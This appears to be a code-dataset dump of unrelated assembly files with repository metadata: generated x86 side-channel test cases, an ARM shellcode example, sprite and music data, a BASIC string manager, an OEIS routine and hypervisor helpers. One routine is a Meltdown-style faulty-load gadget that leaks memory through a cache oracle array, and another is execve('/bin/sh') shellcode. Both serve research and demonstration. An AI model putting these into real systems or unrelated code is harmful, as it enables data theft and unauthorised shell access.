{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': True, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 40.253521
| 2,999
| 0.660602
|
62d33efa73ae04cee793f223519b3686923a0ef2
| 3,621
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_6_574.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_6_574.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_6_574.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rdx
lea addresses_normal_ht+0x853b, %r10
nop
sub %rbp, %rbp
movl $0x61626364, (%r10)
nop
nop
nop
nop
sub %r11, %r11
lea addresses_D_ht+0xb2bb, %r12
nop
dec %r11
mov (%r12), %r15w
nop
and $62711, %r10
lea addresses_D_ht+0x3b3b, %r12
cmp $19532, %rdx
movups (%r12), %xmm0
vpextrq $0, %xmm0, %rbp
nop
nop
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0xe0f4, %r8
xor %rdx, %rdx
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%r8)
nop
nop
and %r15, %r15
lea addresses_normal_ht+0x1920d, %r12
clflush (%r12)
nop
nop
nop
and $28061, %rbp
mov (%r12), %r11
nop
nop
and %r11, %r11
lea addresses_normal_ht+0x19b3b, %r11
nop
nop
add %r15, %r15
movw $0x6162, (%r11)
nop
nop
nop
nop
and $48363, %rdx
pop %rdx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rbx
push %rcx
push %rdx
// Store
lea addresses_WT+0x511b, %r12
nop
nop
sub %rdx, %rdx
movb $0x51, (%r12)
nop
nop
xor %r8, %r8
// Store
lea addresses_WT+0xeb3b, %rcx
clflush (%rcx)
nop
nop
nop
nop
sub %r11, %r11
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
cmp %r15, %r15
// Store
lea addresses_UC+0x1aadb, %r15
nop
nop
nop
nop
nop
dec %rcx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%r15)
nop
inc %r8
// Store
lea addresses_US+0x8a3b, %r11
clflush (%r11)
dec %r12
mov $0x5152535455565758, %r15
movq %r15, %xmm1
movups %xmm1, (%r11)
nop
nop
nop
xor %r15, %r15
// Store
mov $0x22f4bf00000000db, %r15
inc %r11
movl $0x51525354, (%r15)
nop
nop
inc %r15
// Faulty Load
lea addresses_WT+0x8b3b, %rcx
nop
nop
nop
nop
nop
xor $24302, %rbx
mov (%rcx), %r12d
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'58': 6}
58 58 58 58 58 58
*/
| 19.786885
| 129
| 0.643192
|
3aedc7610f40e5b9dcfbb9b65bef59b980ae0670
| 179
|
asm
|
Assembly
|
cemu/examples/arm_sys_exec_bin_sh.asm
|
MatejKastak/cemu
|
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
|
[
"MIT"
] | 823
|
2016-05-15T08:55:57.000Z
|
2022-03-23T01:06:44.000Z
|
cemu/examples/arm_sys_exec_bin_sh.asm
|
MatejKastak/cemu
|
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
|
[
"MIT"
] | 57
|
2016-05-16T20:09:17.000Z
|
2022-03-13T14:11:51.000Z
|
cemu/examples/arm_sys_exec_bin_sh.asm
|
MatejKastak/cemu
|
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
|
[
"MIT"
] | 118
|
2016-05-16T18:10:25.000Z
|
2022-03-02T15:02:18.000Z
|
#
# ARM sys_exec("/bin/sh") shellcode
#
# @_hugsy_
#
ldr r0, ="nib/"
str r0, [sp]
ldr r0, ="hs//"
str r0, [sp, 4]
mov r0, sp
mov r1, 0
mov r2, 0
mov r7, __NR_SYS_execve
svc 0
wfi
| 11.1875
| 35
| 0.603352
|
6f80336e36dd6e8c050b9c017e44bc51fefea4f6
| 1,152
|
asm
|
Assembly
|
src/util/sprite/spix.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/sprite/spix.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/sprite/spix.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
* Sprite spix
*
* Mode 4
* +----|------+
* | r r |
* | g g |
* | r r |
* | r r |
* |rgrra arrgr|
* - -
* |rgrra arrgr|
* | r r |
* | r r |
* | g g |
* | r r |
* +----|------+
*
section sprite
xdef mes_spix
mes_spix
dc.w $0100,$0000
dc.w 11,11,4,5
dc.l mcs_spix-*
dc.l mms_spix-*
dc.l 0
mcs_spix
dc.w $000A,$0000
dc.w $0A00,$0000
dc.w $000A,$0000
dc.w $000A,$0000
dc.w $40B1,$40A0
dc.w $0000,$0000
dc.w $40B1,$40A0
dc.w $000A,$0000
dc.w $000A,$0000
dc.w $0A00,$0000
dc.w $000A,$0000
mms_spix
dc.w $0A0A,$0000
dc.w $0A0A,$0000
dc.w $0A0A,$0000
dc.w $0A0A,$0000
dc.w $FBFB,$E0E0
dc.w $0000,$0000
dc.w $FBFB,$E0E0
dc.w $0A0A,$0000
dc.w $0A0A,$0000
dc.w $0A0A,$0000
dc.w $0A0A,$0000
*
end
| 21.333333
| 27
| 0.33941
|
c1bf42a8df9e7ce8f83050b42ce733a79d145201
| 4,740
|
asm
|
Assembly
|
source/string/manager.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
source/string/manager.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
source/string/manager.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
; ********************************************************************************************
; ********************************************************************************************
;
; Name : manager.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
; FRETMP is passed a string descriptor pntr in (a,y). A check is made to see
; if the string descriptor points to the last temporary descriptor allocated by
; putnew. If so, the temporary is freed up by the updating of (temppt). If a
; string is freed up, a further check sees if it was the last one created and if
; so, (fretop) is updated to reflect the fact that the space is no longer in use.
; The address of the actual string is returned in (x,y) and its length in (a).
frmstr jsr frmevl
frestr jsr chkstr ; make sure it's a string
frefac lda facmo ; free up string pointed to by FAC
ldy facmo+1
fretmp sta index ; get length for later
sty index+1
jsr fretms ; check desc. if last
bne l160_3 ; one then scratch it
jsr stradj ; index points to link
bcc l160_3 ; literal no fix
phx ; .x=length
dey ; .y=1
ldx #index
lda #$ff ; flag string as garbage
jsr sta_far_ram1 ; sta (index),y
pla
pha ; get length, but leave copy on stack
dey
ldx #index
jsr sta_far_ram1 ;sta (index),y ; put in length
eor #$ff ; put index back
sec ; to first byte
adc index
ldy index+1
bcs l160_1
dey
l160_1 sta index
sty index+1
tax ; lo into x
pla ; pull length from stack
cpy fretop+1 ; = to fretop?
bne frerts
cpx fretop
bne frerts
; The string was the last one put into string space. Save garbage
; collection some time by freeing up. (length + 2)
pha ; save length on stack
sec ; plus one
adc fretop
sta fretop
bcc l160_2
inc fretop+1
l160_2 inw fretop ; + one more
pla ; pull length off stack
rts
l160_3 ldy #0 ; set up x,y,a and index
jsr indin1_ram1 ; length
pha ; on stack
iny
jsr indin1_ram1 ; pointer lo
tax
iny
jsr indin1_ram1 ; pointer hi
tay
stx index
sty index+1
pla ; get back length
rts
fretms cpy lastpt+1 ; last entry to temp?
bne frerts
cmp lastpt
bne frerts
sta temppt
sbc #strsiz ; point to lst one
sta lastpt ; update temp pointer
ldy #0 ; also clears zflg so we do rest of fretmp
frerts rts ; all done
;.end
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
| 44.299065
| 98
| 0.316667
|
d90466df5b206c0ad0c7747416f4ca1597bc2807
| 6,396
|
asm
|
Assembly
|
sounds/theme.asm
|
puzzud/retroleague
|
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
|
[
"MIT"
] | 4
|
2017-11-06T20:37:16.000Z
|
2021-02-05T15:55:20.000Z
|
sounds/theme.asm
|
puzzud/retroleague
|
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
|
[
"MIT"
] | 11
|
2016-09-06T17:42:23.000Z
|
2016-09-26T18:50:24.000Z
|
sounds/theme.asm
|
puzzud/retroleague
|
e11932ffaaf7ee07571e9971cf12bbf7f1457d89
|
[
"MIT"
] | 2
|
2020-03-28T21:41:22.000Z
|
2020-05-08T09:18:25.000Z
|
; Marche aux Flambeaux by F. S. Clark, 1869
.export _VOICE_1_START
_VOICE_1_START:
.byte 192, 96, 171, 48, 64, 43, 64, 171, 24, 64, 43, 64, 43, 43, 43, 171
.byte 8, 43, 43, 173, 48, 171, 24, 41, 168, 18, 176, 6, 168, 24, 164, 42
.byte 172, 6, 173, 24, 45, 50, 48, 47, 50, 55, 64, 173, 48, 175, 24, 47
.byte 168, 18, 176, 6, 176, 24, 164, 42, 172, 6, 164, 24, 64, 38, 39, 40
.byte 40, 64, 171, 8, 43, 43, 173, 48, 180, 24, 50, 168, 18, 176, 6, 176
.byte 24, 164, 42, 172, 6, 164, 24, 37, 38, 48, 38, 38, 43, 64, 173, 48
.byte 171, 24, 50, 40, 43, 173, 18, 178, 6, 173, 24, 43, 64, 43, 64, 169
.byte 48, 176, 24, 192, 168, 166, 8, 40, 42, 43, 45, 47, 176, 12, 192, 6
.byte 45, 178, 12, 192, 6, 48, 175, 12, 192, 6, 50, 171, 12, 192, 6, 47
.byte 173, 12, 192, 6, 47, 172, 12, 192, 6, 47, 173, 24, 166, 12, 192, 156
.byte 166, 8, 40, 42, 43, 45, 47, 176, 12, 192, 6, 45, 178, 12, 192, 6
.byte 48, 175, 12, 192, 6, 50, 171, 12, 192, 6, 47, 170, 48, 171, 24, 64
.byte 43, 43, 43, 43, 43, 43, 178, 8, 52, 54, 55, 57, 59, 188, 12, 192
.byte 6, 57, 190, 12, 192, 6, 60, 187, 12, 192, 6, 62, 183, 12, 192, 6
.byte 59, 185, 12, 192, 6, 59, 184, 12, 192, 6, 59, 185, 24, 178, 12, 64
.byte 171, 24, 43, 43, 43, 50, 55, 178, 8, 52, 54, 55, 57, 59, 188, 12
.byte 192, 6, 57, 190, 12, 192, 6, 60, 187, 12, 192, 6, 62, 183, 12, 192
.byte 6, 59, 176, 48, 175, 24, 64, 173, 48, 171, 24, 41, 168, 18, 176, 6
.byte 168, 24, 164, 42, 172, 6, 164, 24, 37, 38, 38, 38, 38, 43, 64, 173
.byte 48, 180, 24, 50, 50, 43, 173, 18, 178, 6, 173, 24, 43, 64, 43, 64
.byte 175, 48, 176, 24, 64, 176, 66, 185, 6, 183, 18, 181, 6, 176, 72, 173
.byte 18, 174, 6, 176, 24, 50, 52, 53, 182, 48, 183, 24, 64, 176, 66, 186
.byte 6, 185, 18, 183, 6, 176, 72, 180, 18, 181, 6, 183, 24, 57, 58, 59
.byte 190, 48, 188, 24, 64, 176, 66, 185, 6, 183, 18, 181, 6, 176, 72, 181
.byte 18, 183, 6, 185, 24, 58, 60, 61, 192, 48, 190, 24, 64, 178, 60, 192
.byte 6, 61, 192, 18, 190, 6, 176, 60, 192, 6, 59, 190, 18, 188, 6, 176
.byte 60, 192, 6, 54, 185, 12, 192, 6, 55, 183, 48, 181, 24, 64, 183, 48
.byte 181, 24, 171, 8, 43, 43, 181, 48, 180, 24, 50, 168, 18, 176, 6, 168
.byte 24, 164, 42, 172, 6, 173, 24, 45, 50, 48, 47, 50, 55, 64, 181, 48
.byte 180, 24, 50, 168, 18, 176, 6, 168, 24, 164, 42, 172, 6, 173, 24, 64
.byte 47, 47, 47, 52, 64, 171, 8, 43, 43, 181, 48, 180, 24, 50, 168, 18
.byte 176, 6, 168, 24, 164, 42, 172, 6, 173, 24, 45, 50, 48, 47, 50, 55
.byte 64, 181, 48, 180, 24, 50, 50, 48, 176, 18, 178, 6, 179, 24, 52, 64
.byte 53, 64, 178, 48, 176, 24, 192, 168, 166, 8, 40, 42, 43, 45, 47, 176
.byte 12, 192, 6, 45, 178, 12, 192, 6, 48, 175, 12, 192, 6, 50, 171, 12
.byte 192, 6, 47, 173, 12, 192, 6, 47, 172, 12, 192, 6, 47, 173, 24, 166
.byte 12, 192, 156, 166, 8, 40, 42, 43, 45, 47, 176, 12, 192, 6, 45, 178
.byte 12, 192, 6, 48, 175, 12, 192, 6, 50, 171, 12, 192, 6, 47, 173, 48
.byte 171, 24, 64, 50, 55, 52, 55, 50, 55, 178, 8, 52, 54, 55, 57, 59
.byte 188, 12, 192, 6, 57, 190, 12, 192, 6, 60, 187, 12, 192, 6, 62, 183
.byte 12, 192, 6, 59, 185, 12, 192, 6, 59, 184, 12, 192, 6, 59, 185, 24
.byte 178, 12, 64, 178, 24, 55, 52, 55, 50, 55, 178, 8, 52, 54, 55, 57
.byte 59, 188, 12, 192, 6, 57, 190, 12, 192, 6, 60, 187, 12, 192, 6, 62
.byte 183, 12, 192, 6, 59, 182, 48, 183, 24, 64, 181, 48, 180, 24, 50, 168
.byte 18, 176, 6, 176, 24, 164, 42, 172, 6, 173, 24, 45, 50, 48, 47, 50
.byte 55, 64, 181, 48, 180, 24, 50, 50, 48, 173, 18, 178, 6, 179, 24, 52
.byte 64, 50, 64, 178, 48, 176, 24, 64, 174, 48, 185, 24, 55, 183, 18, 181
.byte 6, 181, 24, 176, 48, 50, 180, 24, 50, 168, 18, 176, 6, 168, 24, 168
.byte 48, 55, 185, 24, 55, 183, 18, 181, 6, 181, 24, 176, 42, 177, 6, 169
.byte 48, 180, 24, 50, 40, 192, 48, 169, 24, 40, 192, 48, 169, 24, 40, 64
.byte 167, 48, 168, 24, 64, 167, 48, 168, 24, 168, 48, 168, 24
.export _VOICE_1_END
_VOICE_1_END:
.byte 0
;=====================================================
.export _VOICE_2_START
_VOICE_2_START:
.export _VOICE_3_START
_VOICE_3_START:
.byte 192, 255, 192, 225, 147, 48, 159, 24, 31, 24, 31, 28, 24, 29, 33, 26
.byte 30, 31, 26, 31, 64, 147, 48, 159, 24, 31, 24, 31, 28, 24, 29, 64
.byte 29, 29, 28, 28, 192, 48, 19, 159, 24, 31, 24, 31, 28, 24, 29, 33
.byte 26, 30, 31, 26, 19, 64, 147, 48, 159, 24, 31, 24, 28, 29, 30, 31
.byte 64, 31, 64, 147, 48, 152, 24, 192, 216, 154, 168, 192, 216, 154, 120, 164
.byte 24, 31, 64, 38, 38, 40, 40, 38, 38, 192, 48, 158, 12, 64, 26, 64
.byte 31, 64, 35, 64, 26, 64, 26, 64, 154, 24, 64, 38, 35, 40, 40, 35
.byte 35, 192, 48, 158, 12, 64, 26, 64, 31, 64, 35, 64, 154, 48, 159, 24
.byte 64, 147, 48, 159, 24, 31, 24, 31, 28, 24, 29, 33, 26, 30, 31, 26
.byte 19, 64, 147, 48, 159, 24, 31, 24, 28, 29, 30, 31, 64, 31, 64, 147
.byte 48, 152, 24, 64, 164, 66, 173, 6, 171, 18, 169, 6, 164, 72, 161, 18
.byte 162, 6, 164, 24, 38, 40, 41, 170, 48, 171, 24, 64, 164, 66, 174, 6
.byte 173, 18, 171, 6, 164, 72, 168, 18, 169, 6, 171, 24, 45, 46, 47, 178
.byte 48, 176, 24, 64, 164, 66, 173, 6, 171, 18, 169, 6, 164, 72, 169, 18
.byte 171, 6, 173, 24, 46, 48, 49, 180, 48, 178, 24, 64, 166, 60, 192, 6
.byte 49, 180, 18, 178, 6, 164, 60, 192, 6, 47, 178, 18, 176, 6, 164, 60
.byte 192, 6, 42, 173, 12, 192, 6, 43, 164, 48, 169, 24, 64, 164, 48, 169
.byte 24, 64, 147, 48, 159, 24, 31, 24, 31, 28, 24, 29, 33, 26, 30, 31
.byte 26, 31, 64, 147, 48, 159, 24, 31, 24, 31, 28, 24, 29, 64, 29, 29
.byte 28, 35, 192, 48, 19, 159, 24, 31, 24, 31, 28, 24, 29, 33, 26, 30
.byte 31, 26, 19, 64, 147, 48, 159, 24, 31, 24, 28, 29, 30, 31, 64, 31
.byte 64, 147, 48, 152, 24, 192, 216, 154, 168, 192, 216, 154, 120, 164, 24, 31
.byte 64, 38, 38, 40, 40, 38, 38, 192, 48, 158, 12, 64, 26, 64, 31, 64
.byte 35, 64, 26, 64, 26, 64, 154, 24, 64, 38, 35, 40, 40, 35, 35, 192
.byte 48, 158, 12, 64, 26, 64, 31, 64, 35, 64, 154, 48, 159, 24, 64, 147
.byte 48, 159, 24, 31, 24, 31, 28, 24, 29, 33, 26, 30, 31, 26, 19, 64
.byte 147, 48, 159, 24, 31, 24, 28, 29, 30, 31, 64, 31, 64, 147, 48, 152
.byte 24, 64, 152, 96, 24, 24, 24, 152, 255, 152, 57, 192, 48, 159, 24, 24
.byte 192, 48, 159, 24, 24, 64, 160, 48, 159, 24, 64, 160, 48, 159, 24, 159
.byte 48, 159, 24
.export _VOICE_2_END
_VOICE_2_END:
.export _VOICE_3_END
_VOICE_3_END:
.byte 0
;=====================================================
| 62.705882
| 81
| 0.535804
|
f36afb8fc8d0ff8647a390cbe01ede52731a38b4
| 1,516
|
asm
|
Assembly
|
Guypervisor/vmcs_init_helpers.asm
|
guysudai1/Guypervisor
|
c855f2fef4f263a1dee5b25bf9e86f7dbcf4ee83
|
[
"MIT"
] | 10
|
2020-08-15T19:02:24.000Z
|
2021-03-31T21:58:48.000Z
|
Guypervisor/vmcs_init_helpers.asm
|
guysudai1/Guypervisor
|
c855f2fef4f263a1dee5b25bf9e86f7dbcf4ee83
|
[
"MIT"
] | null | null | null |
Guypervisor/vmcs_init_helpers.asm
|
guysudai1/Guypervisor
|
c855f2fef4f263a1dee5b25bf9e86f7dbcf4ee83
|
[
"MIT"
] | null | null | null |
.CODE
public GetEsSelector
public GetCsSelector
public GetSsSelector
public GetDsSelector
public GetFsSelector
public GetGsSelector
public GetLdtrSelector
public GetTrSelector
public guest_code
;public vmexit_handler
public __read_rsp
public __read_esp
guest_code PROC
cli
xor rax, rax
loop_pls:
cpuid
jmp loop_pls
guest_code ENDP
;vmexit_handler PROC
; int 3
;vmexit_handler ENDP
GetEsSelector PROC
; Returns es selector register
mov ax, es
ret
GetEsSelector ENDP
GetCsSelector PROC
; Returns cs selector register
mov ax, cs
ret
GetCsSelector ENDP
GetSsSelector PROC
; Returns ss selector register
mov ax, ss
ret
GetSsSelector ENDP
GetDsSelector PROC
; Returns ds selector register
mov ax, ds
ret
GetDsSelector ENDP
GetFsSelector PROC
; Returns fs selector register
mov ax, fs
ret
GetFsSelector ENDP
GetGsSelector PROC
; Returns gs selector register
mov ax, gs
ret
GetGsSelector ENDP
GetLdtrSelector PROC
; Returns ldtr selector register
sldt ax
ret
GetLdtrSelector ENDP
GetTrSelector PROC
; Returns tr selector register
str ax
ret
GetTrSelector ENDP
__lar PROC
; Loads access rights into descriptor
lar rax, rcx
ret
__lar ENDP
__read_rsp PROC
mov rax, rsp
add rax, 8
ret
__read_rsp ENDP
__read_esp PROC
mov eax, esp
add eax, 4
ret
__read_esp ENDP
END
| 16.301075
| 42
| 0.687995
|
e82aa0d2f2d2f96f5bceb1fd7209326744110bf6
| 679
|
asm
|
Assembly
|
programs/oeis/070/A070169.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/070/A070169.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/070/A070169.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A070169: Rounded total surface area of a regular tetrahedron with edge length n.
; 0,2,7,16,28,43,62,85,111,140,173,210,249,293,339,390,443,501,561,625,693,764,838,916,998,1083,1171,1263,1358,1457,1559,1665,1774,1886,2002,2122,2245,2371,2501,2634,2771,2912,3055,3203,3353,3507,3665,3826,3991,4159,4330,4505,4683,4865,5051,5239,5432,5627,5827,6029,6235,6445,6658,6875,7094,7318,7545,7775,8009,8246,8487,8731,8979,9230,9485,9743,10004,10269,10538,10810,11085,11364,11646,11932,12221,12514,12810,13110,13413,13720,14030,14343,14660,14981,15304,15632,15963,16297,16635,16976
pow $0,4
mul $0,3
seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n.
| 97
| 489
| 0.771723
|
52786e49aa3343d5da0c0c7e086af118873f5378
| 181
|
asm
|
Assembly
|
data/pokemon/dex_entries/rayquaza.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/dex_entries/rayquaza.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/dex_entries/rayquaza.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
db "SKY HIGH@" ; species name
db "It flies into the"
next "ozone layer, way"
next "up into the sky."
page "It had never been"
next "seen before, until"
next "recently.@"
| 18.1
| 30
| 0.651934
|
7699d84142eb2bc95ee568d0763e7ae2e294e667
| 222
|
asm
|
Assembly
|
audio/sfx/vine_whip.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
